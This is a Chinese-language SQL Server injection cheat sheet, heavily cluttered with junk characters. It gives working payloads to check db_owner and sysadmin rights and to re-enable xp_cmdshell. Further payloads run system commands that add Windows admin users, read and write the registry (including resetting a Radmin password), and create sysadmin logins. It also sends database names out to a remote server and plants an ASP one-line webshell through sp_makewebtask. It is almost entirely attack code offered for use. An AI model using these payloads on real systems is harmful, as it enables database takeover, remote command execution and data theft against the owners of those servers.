//看看是什么权限的1 X* y1 j: G5 k2 h2 e3 P
and 1=(Select IS_MEMBER('db_owner'))
/ v6 R! j3 u1 \6 ]5 p* \; gAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
$ o3 ]) W7 D- `% C- Y2 u, w* ~/ c* y+ _* ~. X" S( d9 ]7 y! @+ N/ a
//检测是否有读取某数据库的权限
$ b$ d* `; F# b4 e9 x; K mand 1= (Select HAS_DBACCESS('master'))+ C" ?* \, |0 v( q% ^
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
& y! C% i: y+ `$ n1 V# _& h/ c4 T2 a8 i( S2 N
/ b1 j3 @7 Q7 Y% ^ m" y
数字类型
; R; Q+ \8 ?1 C% K; Oand char(124)%2Buser%2Bchar(124)=08 y; |& O) U( @' H3 Z! J
/ w( ]* f+ @- l6 l: K3 _6 a" A9 k$ h
字符类型' D+ F+ y0 t, `
' and char(124)%2Buser%2Bchar(124)=0 and ''='# H! U. |0 ?6 f% @1 a
1 K6 o* i9 Y1 }
搜索类型
2 L* w8 h6 [( o6 w' and char(124)%2Buser%2Bchar(124)=0 and '%'='
& T3 n( x8 V7 Q X* P9 ^+ \$ Q; f5 |8 z- y$ I
爆用户名
+ P4 r7 Z+ i9 N& {8 w# Band user>0" t W% o3 q0 _4 |3 Q( L% i3 d
' and user>0 and ''='
1 V. _5 i! }3 ~& B
0 x$ `# @ a. D! S2 u/ B/ E" t检测是否为SA权限* N/ b f- a0 e3 b7 ^
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
! W3 d: l# @2 d1 q7 B: oAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
0 q3 z( ?6 d" O9 \/ E* ?& ~" U# j2 V8 w4 u* w1 `6 f
检测是不是MSSQL数据库8 C4 c# k5 b6 ~
and exists (select * from sysobjects);--
( |, y1 e# S" C+ W1 N5 J! ^6 M* o7 k$ p6 {/ f) H
检测是否支持多行
0 n& F2 p; l& b3 h6 n9 d' S;declare @d int;--9 M% o; y2 v) A& f( R- z
( n; u$ i" B! z$ e7 A2 z" A恢复 xp_cmdshell7 C; q7 F2 D p6 Z$ n) X
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
) Y( \% `" [% h. D' \7 i9 h8 }
/ ], j) H0 E. H, _: F$ [3 v1 g- q9 O& l" ^- D
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')9 \, x- }1 V8 l/ L# Q. z
6 |& G' \+ F# C& e3 o4 A4 B# P
//-----------------------
' D( z3 E2 _! p4 m// 执行命令
* N& I9 ?. F" i+ t# {3 R8 j//-----------------------
* l. c2 N8 ^! Y# L- i% a首先开启沙盘模式:
5 m; r! C+ E9 o7 Hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 p+ x; H F# U5 I
, U2 L; \9 x1 |6 I& b
然后利用jet.oledb执行系统命令3 }6 G6 k" P0 N( |$ |8 H7 _+ a
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')% B! P. E. n" {7 q+ a
4 B; v( D" e' _执行命令
8 C. ~# _# q. j. G: F6 Q4 y, c;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--6 f9 Y; j, W& E% D2 K
* M1 F# J1 k5 ~8 n A v1 ^6 t* u0 N
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'; l4 w1 A+ C- k) ?; ~; o
, Y7 m% Y6 J0 D% _* I判断xp_cmdshell扩展存储过程是否存在:+ I4 P( i0 i: T+ l/ b
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
$ G) C2 {$ |: d. K* F' d9 K9 L- \0 U& t F" _% }, s
写注册表
* W/ v Y) k" G: I* e4 p- dexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; z1 Y" d# ?+ n+ X% ?. y
9 }( ], i' p7 ?; @
REG_SZ
/ S0 ]. P7 A }
* g# I) ?" r4 W* e& ^读注册表
8 n+ x7 H' _$ Y. lexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'# a& B7 Q* ~# q1 }
0 |' V5 w1 l! n y9 C/ B9 e7 C" @读取目录内容5 [* d/ B+ B1 S! `& \+ o; F
exec master..xp_dirtree 'c:\winnt\system32\',1,1
+ V* S O- m) s5 G& d
+ \0 P- G! \$ D1 t+ O7 M/ v
% b5 n: N! A4 q& G, E* x数据库备份
- {, S* d6 u8 ]& ibackup database pubs to disk = 'c:\123.bak'% u8 q# n/ z: \& H3 q! I
( c0 Y3 |- g" x) g1 [8 u. I* A//爆出长度
9 A; e# [; h# f% d2 `: ?- x* |" ^And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--; L" B% \ _$ t
, i1 q( l+ P2 F& W
. z/ s5 R/ N+ |! W+ ^
. u3 K* L* x, H5 b% a' _更改sa口令方法:用sql综合利用工具连接后,执行命令:
" u3 _" n' i) H" G1 I. t, _! E% Sexec sp_password NULL,'新密码','sa'
- X7 w! l4 y* Z; ~) @
) }& A! v. t3 k6 X# v G8 X9 \+ n添加和删除一个SA权限的用户test:" E! q! Y, ]) y1 j1 y: ~
exec master.dbo.sp_addlogin test,9530772" e" M) L+ G2 t9 |$ T( {% P
exec master.dbo.sp_addsrvrolemember test,sysadmin
' w+ p) C0 c$ Q7 L$ r
% e; f8 H9 [5 {8 f, }1 a删除扩展存储过过程xp_cmdshell的语句:
7 c1 K) e& n% x4 E5 k0 T: Fexec sp_dropextendedproc 'xp_cmdshell'
! Y5 h+ Y% q/ Q4 p5 }$ {# y. s6 ]9 U3 N* c$ ?+ @
添加扩展存储过过程
3 k. W/ t( S+ X p2 @0 `( uEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'3 W3 O( U1 Q; W$ P2 K
GRANT exec On xp_proxiedadata TO public
: `5 L% b- Z* ]% I1 e4 x
% N& L- E& r2 Z* l5 E: p9 w4 e/ a2 b' A0 w3 w. r0 M
停掉或激活某个服务。
0 D- H- e/ H% {! P6 d4 [; o4 Q- V' R8 z+ R' [
exec master..xp_servicecontrol 'stop','schedule'+ E/ P: U: ?, g7 {1 H
exec master..xp_servicecontrol 'start','schedule'
0 u9 h/ ^+ _/ H+ \, V Y9 A; Z, s1 N2 ?% \; J- k- m
dbo.xp_subdirs! D4 R9 [5 b- d, ]5 s- {& D
2 `' g8 O. G" _; B& |
只列某个目录下的子目录。
1 ^, @) F; {; m) z% Wxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'8 _4 s w$ e& c7 T1 j" o7 B
& R) I" J) H8 p% u
dbo.xp_makecab6 C2 O" m6 `. {7 f- X* ~, T
' b6 b5 c. g0 b* I* P3 l/ P
将目标多个档案压缩到某个目标档案之内。
1 g/ r& @% W! U2 g" L2 @/ q所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。/ A* l+ z# x* F7 K/ Z
+ ~) D q$ \- o' Vdbo.xp_makecab
; G0 m6 G- Y- L% n'c:\test.cab','mszip',1,
3 M& K) G A% k/ R ~) ]4 r'C:\Inetpub\wwwroot\SQLInject\login.asp',. b U( K. y7 r* r" k
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'/ E" \3 h( K- Z7 q- z2 T- M
6 ?. V! x7 j5 W0 F& qxp_terminate_process
7 ]7 T3 m G) _, a: ^7 i7 ?) J D* S) z) a `- C
停掉某个执行中的程序,但赋予的参数是 Process ID。) {: d, f1 a6 _# [ ?
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID& X5 u* C3 p, g; g# a
4 D n5 A8 z; S) [4 {8 @. d4 Jxp_terminate_process 2484
; }; j) t/ y" N3 e0 ?) b: H5 A. V
# L+ u; j) o+ r4 I2 Bxp_unpackcab5 V3 P8 i, {1 v
4 t2 e) w# d+ d5 d0 O7 j
解开压缩档。
+ b1 v* `0 |: l% G3 G3 z- {+ ^/ ?4 p M
xp_unpackcab 'c:\test.cab','c:\temp',1+ l( s! O1 }0 ?( n: K9 [9 ?
* L. w/ ^+ [" T, g% {
0 V; \; W3 @' A5 v8 b* e \# o某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234& N& `6 S- Q( q- J" L' E1 ^8 v4 F
L5 N$ i2 [- X: x; W( A$ mcreate database lcx;
( P& V. a- B9 @6 o2 [Create TABLE ku(name nvarchar(256) null);
) ], e+ m ~7 \7 @1 Q. v# C6 K3 UCreate TABLE biao(id int NULL,name nvarchar(256) null);) M0 F" l1 [6 P: R7 `
; Y" Y7 D& k6 D0 [: O" _$ j
//得到数据库名9 I$ Q2 u; E% }5 |, v, \
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases4 j5 f; i' b9 V6 e* r
/ @1 B. u+ T- ~9 ] i# [9 z' U H2 c' Z
//在Master中创建表,看看权限怎样
5 ~( R \( ~. b+ [% e" j$ a- fCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--7 O7 D" f% B( K3 U% `3 }& U
R4 x& \5 m$ B+ M$ j, L" \' q1 N用 sp_makewebtask直接在web目录里写入一句话马:5 P% w* y5 z% T; q% O. R1 U8 _
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--) N2 b- D+ Q6 M& I2 ~! i2 ]5 x
. ]9 B8 J0 g4 a4 D% B//更新表内容: G; o* I2 Y7 f* {: N3 c
Update films SET kind = 'Dramatic' Where id = 123
. F6 F- b [' A) k7 e. B* v% d- R9 [# Y. k0 x4 u6 G
//删除内容
8 C$ z- m. c" a; i- tdelete from table_name where Stockid = 3 |